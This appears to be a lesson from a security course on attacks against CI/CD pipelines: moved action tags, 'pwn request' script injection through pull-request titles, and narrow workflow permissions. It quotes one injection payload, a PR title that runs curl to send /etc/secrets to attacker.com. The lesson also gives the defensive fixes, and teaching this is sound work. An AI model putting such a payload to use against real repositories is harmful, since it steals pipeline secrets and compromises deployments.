CI/CD pipelines as an attack surface: third-party actions and script injection

A pipeline that deploys to production typically holds real, powerful credentials (even with OIDC, it holds a temporary role capable of deploying) and runs automatically, often triggered by nothing more than opening a pull request. Compromising the pipeline itself — not the application it deploys — gives an attacker everything the pipeline can do, and a pipeline usually can do quite a lot.

A GitHub Actions workflow referencing a third-party action by a version tag (@v2) trusts whoever controls that repository to never move that tag to point at different, possibly malicious code — and a compromised maintainer account (the exact supply-chain risk Web Security's dependency lesson already covered for packages) can do exactly that, silently, with every workflow using @v2 picking up the malicious version on its very next run. Pinning to a full commit SHA instead means the referenced code is cryptographically fixed — moving the tag elsewhere has no effect, since the workflow points at one specific, immutable commit regardless of what any tag currently points to.

This looks harmless — printing a PR's title — but github.event.pull_request.title is attacker-controlled text: anyone opening a pull request sets their own PR title. A title of "; curl attacker.com/steal?data=$(cat /etc/secrets) # gets interpolated directly into the shell command before it runs, turning a title string into arbitrary shell code — the exact OS command injection mechanism lesson 1 covered, just with the untrusted input arriving via a pull request's metadata instead of a web form, and executing with pull_request_target's elevated, secret-bearing permissions rather than an ordinary unprivileged context.

This exact pattern — often called a "pwn request" — has compromised real, major open-source projects' CI pipelines. The fix: never interpolate PR-supplied text (title, branch name, commit message) directly into a shell command; pass it through an environment variable instead (env: PR_TITLE: ${{ github.event.pull_request.title }}, then reference $PR_TITLE in the script) so the shell treats it as inert data rather than re-parsing it as command syntax — the same parameterization fix every injection class in this domain keeps returning to.

Every action in a workflow step runs with access to whatever secrets and permissions that workflow job has — a third-party action doing something as simple as "format this code" has, by default, the same access to repository secrets as the deploy step three lines below it. Scoping workflow permissions narrowly per job (permissions: blocks limiting exactly what a given job can touch, the same least-privilege principle Web Security's secrets-management lesson applied to service credentials) limits what a compromised or carelessly-written third-party action could actually reach, even if it otherwise wanted to.

Every principle this domain has built up for untrusted input reaching a dangerous sink — commands, queries, shell interpolation — applies identically to a CI/CD workflow, because a workflow genuinely is a program, and PR titles, branch names, and commit messages genuinely are untrusted input a stranger on the internet fully controls the moment they open a pull request against a public repository.